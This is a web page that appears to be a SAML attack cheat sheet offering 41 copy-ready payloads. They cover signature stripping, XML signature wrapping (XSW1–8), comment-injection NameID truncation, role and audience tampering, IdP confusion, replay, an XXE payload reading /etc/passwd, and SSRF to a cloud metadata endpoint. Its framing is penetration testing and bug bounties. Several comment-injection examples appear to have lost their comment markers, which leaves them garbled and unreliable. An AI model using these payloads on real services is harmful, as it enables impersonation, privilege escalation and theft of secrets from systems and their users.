SAML Attacks Cheat Sheet

SAML authentication attack techniques covering XML signature wrapping (XSW), comment-injection canonicalization bugs, signature stripping, assertion tampering, IdP confusion, and recipient/audience validation flaws. (41 payloads)

Try it interactively with the SAML Security Analyzer

Recon & Decoding

(7)

SAMLResponse=PHNhbWxwOlJlc3BvbnNl... (base64 in POST body)

HTTP-POST binding: SAMLResponse is base64-encoded XML in a form field. Decode it, do NOT URL-decode first for POST.HTTP-POST binding

echo 'SAMLResponse_value' | base64 -d | xmllint --format -

Decode and pretty-print a POST-binding SAMLResponse to read the raw assertion XML.

python3 -c "import sys,base64,zlib,urllib.parse as u;print(zlib.decompress(base64.b64decode(u.unquote(sys.argv[1])),-15).decode())" '$SAMLRequest'

Redirect binding: value is URL-encoded, base64'd, then DEFLATE-compressed (raw, -15). Inflate to read the AuthnRequest/Response.HTTP-Redirect binding

https://sp.example.com/saml/metadata • https://idp.example.com/metadata

Pull SP and IdP metadata: reveals ACS URLs, EntityIDs, NameID format, X509 signing cert, and whether AuthnRequests/Assertions must be signed (WantAssertionsSigned).

<ds:X509Certificate> ... </ds:X509Certificate>

Extract the embedded signing cert from metadata or the KeyInfo block; wrap in PEM headers and inspect with openssl x509 -text to map the key used for verification.

Look for: <saml:Issuer>, Destination=, <saml:Audience>, Recipient=, NotOnOrAfter, InResponseTo

Catalogue every value the SP is supposed to validate. Each missing or unvalidated field is a separate attack surface.

Compare HTTP-Redirect vs HTTP-POST handling of the same Response

Redirect binding signs the deflated query string (SigAlg/Signature params); POST binding signs the embedded XML. SPs that accept both may validate inconsistently.

Signature Stripping & alg Downgrade

(6)

Remove the entire <ds:Signature> element from the Response, replay it

Many SPs only verify a signature if one is present. Strip it and tamper the assertion freely — the classic 'no signature = not verified' bug.Most impactful first test

Sign only the <Response>, leave <Assertion> unsigned (or vice versa)

SP must enforce that the assertion itself is signed. If it only checks the Response signature, swap in an unsigned forged assertion.

Strip Signature from Assertion but keep Response signature, then mutate assertion

Where the message wrapper is signed but the assertion is not, edit the NameID/attributes — server trusts the unsigned assertion body.

<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

Downgrade to SHA-1/MD5 signature algorithms; weak/legacy crypto may be accepted and is easier to attack offline.Algorithm downgrade

Set SignatureMethod to HMAC (xmldsig#hmac-sha1) instead of RSA

Algorithm-confusion analogue: if the verifier picks the alg from the document, force HMAC and sign with a known/guessable key instead of the IdP private key.

Empty <ds:SignatureValue></ds:SignatureValue> with a malformed Reference URI

Test fail-open behaviour: some parsers treat a malformed/empty signature as 'absent' and skip verification entirely.

XML Signature Wrapping (XSW)

(8)

XSW1: clone signed Response, inject forged copy as sibling; original keeps the Signature

Wrap the signed element and add an evil unsigned twin. Signature still validates against the original; SP processes the forged one. Operates on the Response element.XSW1 (Response)

XSW2: same as XSW1 but with a detached signature (not enveloped) on the Response

Forged Response placed before the original signed Response; detached signature reference still points to the legitimate node.

XSW3: insert forged Assertion as a sibling BEFORE the original signed Assertion

Two assertions at the same level. Verifier checks the signed one (later sibling); the SP application reads the first (forged) assertion.XSW3 (Assertion sibling)

XSW4: forged Assertion as sibling, but original signed Assertion nested INSIDE the forged one

Hides the legitimate signed assertion as a child of the attacker's assertion to confuse XPath/getElementById resolution.

XSW5: copy the Signature out; change the value of the originally-signed Assertion

Move the enveloped Signature so it no longer covers the assertion the SP consumes; edit attributes of the now-unprotected assertion.

XSW6: original signed Assertion goes inside the copied Signature element

Combines XSW4 + XSW5 nesting; relocates the signed node deep so naive 'first matching ID' lookups grab the forged assertion.

XSW7: add an <Extensions> element with the forged Assertion (same wsu:Id)

Abuses schema-permissive Extensions container plus duplicate wsu:Id — getElementById returns the forged node ahead of the signed one.XSW7/XSW8 (ID confusion)

XSW8: place the original signed Assertion inside an <Object> child of the Signature

Final XSW variant — buries the legitimately-signed assertion in a ds:Object so it's ignored, while the forged top-level assertion is processed.

Comment & Canonicalization Injection

(6)

<saml:NameID>admin@victim.com</saml:NameID>

XML comment-injection: signature validation canonicalizes over 'admin@victim.com' but the SP's text-extraction returns only the node text up to the comment ('admin'). Duo/OneLogin/Clever-class bug (CVE-2017-11427 family).Comment truncation

<saml:NameID>attacker@evil.comadmin@victim.com</saml:NameID>

Same primitive aimed at libraries that return the LAST text node — order the comment so your value survives extraction while the signed text stays intact.

user@target.comextra → embed NUL/whitespace in NameID

Null-byte and control-char truncation: some attribute parsers stop at NUL, letting you append-then-truncate a signed value into a different identity.

Add a comment node anywhere inside a signed element and re-test login

Quick detector for canonicalization mismatches: if signature still validates after inserting a comment but the consumed value changed, the SP is vulnerable.

<saml:NameID> admin@victim.com </saml:NameID> (leading/trailing whitespace)

Whitespace-handling mismatch between C14N (preserves) and application trim/normalize logic can shift which identity is asserted.

Mixed-content: <saml:NameID>vic<x/>tim</saml:NameID>

Interleave child elements with text; libraries doing concatenated vs first-child text extraction disagree on the resulting NameID.

Assertion Tampering & Validation Flaws

(7)

<saml:NameID>victim@target.com</saml:NameID> (after stripping/wrapping the signature)

Change the subject NameID to impersonate any user. Only works once signature coverage over the assertion is broken (see stripping/XSW).

<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>

Privilege escalation: add or change role/group/isAdmin attributes the SP maps to authorization.

<saml:Conditions NotBefore="2000-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z">

Widen the validity window. Test whether the SP enforces NotBefore/NotOnOrAfter at all — expired assertions often still log you in.

<saml:Audience>https://attacker-sp.example.com</saml:Audience>

Audience restriction bypass: if AudienceRestriction is unchecked, an assertion minted for a different SP is accepted (token re-use across SPs).

Recipient="https://attacker.com/acs" in SubjectConfirmationData

Recipient/Destination validation flaw: SP should reject assertions whose Recipient is not its own ACS URL. Steal a token, replay it elsewhere.

Remove <saml:Conditions> entirely

Some SPs only validate constraints when present. Delete the Conditions block to drop all time/audience checks.

Duplicate <saml:Attribute Name="email"> with two values; keep one signed

Attribute-aggregation confusion: SPs that read first-vs-last duplicate attribute differently can be fed a forged second value.

IdP Confusion, Replay & XXE

(7)

<saml:Issuer>https://attacker-idp.example.com</saml:Issuer>

IdP confusion: present an assertion signed by an attacker-controlled or secondary trusted IdP. If the SP trusts multiple IdPs but doesn't bind Issuer to the verifying cert, you authenticate as anyone.Issuer/cert binding

Self-sign a forged assertion, submit your X509Certificate in <ds:KeyInfo>

Key-confusion: SP that verifies against the cert embedded in the message (instead of pinned IdP metadata) will trust your self-signed key.Embedded-key trust bug

Replay a previously-captured valid SAMLResponse to the ACS

Replay attack: if the SP doesn't track the assertion ID / InResponseTo / one-time-use, a sniffed or logged Response logs you in again.

Forge or omit InResponseTo to match an attacker-initiated AuthnRequest

IdP-initiated SSO often skips InResponseTo checks — enabling login-CSRF / forced-login where a victim is silently signed into the attacker's account.

<?xml version="1.0"?><!DOCTYPE samlp:Response [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>...&xxe;...

XXE in the SAML parser: the SP parses attacker-supplied XML before/around signature checks. Read files or pivot to SSRF via the IdP metadata fetch.XXE pre-validation

Point SP-initiated metadata/SLO URL fetch at http://169.254.169.254/latest/meta-data/

SSRF via dynamic metadata import: SPs that fetch IdP metadata from a supplied URL can be coerced into hitting cloud metadata or internal services.

Re-use a SAML assertion against a different SP that trusts the same IdP

Cross-SP token reuse when AudienceRestriction/Recipient are weak — one IdP federating many SPs means a stolen token may unlock several apps.

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

XXE Cheat Sheet JWT Attacks Cheat Sheet OAuth & OIDC Security Cheat Sheet Session & Cookie Attacks Cheat Sheet

Frequently asked questions

What is the SAML Attacks Cheat Sheet?+

It's a quick-reference collection of 41 SAML Attacks payloads for testing SAML Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these SAML Attacks payloads?+

Copy any payload straight into your authorized test, or use the SAML Security Analyzer to apply them interactively. Only test systems you have explicit permission to assess.

Are these SAML Attacks payloads free to use?+

Yes — this cheat sheet and all SAML Attacks payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the SAML Attacks Cheat Sheet?+

How do I use these SAML Attacks payloads?+

Copy any payload straight into your authorized test, or use the SAML Security Analyzer to apply them interactively. Only test systems you have explicit permission to assess.

Are these SAML Attacks payloads free to use?+

Yes — this cheat sheet and all SAML Attacks payloads are completely free, with no account required. Everything runs in your browser.

SAML Attacks Cheat Sheet

Recon & Decoding

Signature Stripping & alg Downgrade

XML Signature Wrapping (XSW)

Comment & Canonicalization Injection

Assertion Tampering & Validation Flaws

IdP Confusion, Replay & XXE

Related Tools

Related Cheat Sheets

Frequently asked questions

SAML Attacks Cheat Sheet

Recon & Decoding

Signature Stripping & alg Downgrade

XML Signature Wrapping (XSW)

Comment & Canonicalization Injection

Assertion Tampering & Validation Flaws

IdP Confusion, Replay & XXE

Related Tools

Related Cheat Sheets

Frequently asked questions